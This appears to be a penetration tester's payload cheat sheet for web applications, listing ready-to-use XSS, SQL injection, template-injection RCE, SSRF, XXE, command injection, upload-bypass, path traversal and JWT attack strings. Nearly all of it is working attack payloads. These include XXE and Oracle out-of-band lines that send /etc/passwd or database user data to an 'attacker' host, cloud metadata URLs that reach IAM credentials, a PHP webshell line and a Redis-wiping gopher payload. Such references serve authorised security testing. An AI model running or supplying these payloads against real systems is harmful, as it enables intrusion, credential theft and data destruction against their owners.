Security Payloads

Exploit payload reference

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XSS

<!-- Probes -->
"><script>alert(1)</script>
'><svg/onload=alert(1)>
javascript:alert(1)

<!-- Filter bypass -->
<img src=x
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<a href="javascript:alert(1)">click</a>

<!-- Mutation XSS (mXSS) -->
<noscript><p title="</noscript><img src=x

<!-- DOM XSS in URL hash -->
#<img src=x

CSP bypass: depends on policy. Look for unsafe-inline, JSONP endpoints in allowlist, base-uri tricks. Cheatsheet: /opt/PayloadsAllTheThings/XSS Injection/README.md (Termux: ~/tools/...).

SQLi

-- Detection
'
" OR "1"="1
1' OR '1'='1'-- -
1) OR (1=1)-- -

-- UNION (replace N with column count from ORDER BY discovery)
1' UNION SELECT 1,2,3,...,N-- -

-- Time-based blind
1' AND SLEEP(5)-- -                       -- MySQL
1'; WAITFOR DELAY '0:0:5'-- -             -- MSSQL
1' AND pg_sleep(5)-- -                    -- Postgres

-- Out-of-band (Oracle)
1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % a SYSTEM "http://attacker/'||user||'">%a;]>'),'/l') FROM dual-- -

For complex cases use sqlmap. Cheatsheet: /opt/PayloadsAllTheThings/SQL Injection/ (Termux: ~/tools/...).

SSTI

{{7*7}}                  # Jinja2 / Twig: 49
${7*7}                   # FreeMarker / Velocity / SpEL
<%= 7*7 %>               # ERB / EJS
#{7*7}                   # Ruby / Smarty
${{7*7}}                 # Handlebars: literal
@{7*7}                   # Razor

# Jinja2 RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# Twig RCE
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}

# FreeMarker RCE
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

SSRF

# Cloud metadata
http://169.254.169.254/latest/meta-data/                                # AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> # AWS creds
http://metadata.google.internal/computeMetadata/v1/                     # GCP (header: Metadata-Flavor: Google)
http://169.254.169.254/metadata/instance?api-version=2021-02-01         # Azure (header: Metadata: true)
http://100.100.100.200/latest/meta-data/                                # Alibaba

# localhost bypass
http://127.0.0.1
http://0.0.0.0
http://0
http://127.1
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://2130706433              # decimal of 127.0.0.1
http://017700000001            # octal
http://0x7f000001              # hex

# DNS rebinding (use rbndr.us, your own service)
http://7f000001.rbndr.us/

# Gopher (raw TCP)
gopher://127.0.0.1:6379/_FLUSHALL%0d%0aSET%20x%20pwn

# File scheme
file:///etc/passwd
file://localhost/etc/passwd

XXE

<!-- Generic file read -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- Blind out-of-band -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
  %dtd;
]>
<foo>&send;</foo>

<!-- evil.dtd on attacker server -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker/?x=%file;'>">
%all;

Command injection

;id
|id
&&id
||id
`id`
$(id)

# Filter bypasses (no spaces)
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat</etc/passwd

# No quotes/slash
cat${IFS}$(echo${IFS}-n${IFS}'L2V0Yy9wYXNzd2Q='|base64${IFS}-d)

File upload bypasses

Try in order:

1. shell.php
2. shell.phtml, shell.php5, shell.phar, shell.phps
3. shell.php.jpg, shell.jpg.php
4. shell.php%00.jpg (null byte)
5. Content-Type: image/jpeg with PHP body
6. GIF89a<?php system($_GET[0]); ?> (magic byte prefix)
7. .htaccess upload to remap
8. .ht_access if .htaccess blocked
9. SVG with <script> tag

Path traversal

../../../etc/passwd
....//....//....//etc/passwd       # double encoding strip
%2e%2e%2f%2e%2e%2fetc/passwd       # URL encode
%252e%252e%252fetc/passwd          # double URL encode
..%c0%af..%c0%afetc/passwd         # UTF-8 overlong

JWT

jwt_tool $TOKEN -X a               # alg=none
jwt_tool $TOKEN -X i               # weak HMAC, brute
jwt_tool $TOKEN -X k -pk pub.pem   # key confusion (RS→HS)
jwt_tool $TOKEN -X kid             # kid SQL injection / path traversal
jwt_tool $TOKEN -X jku             # jku spoofing

When in doubt

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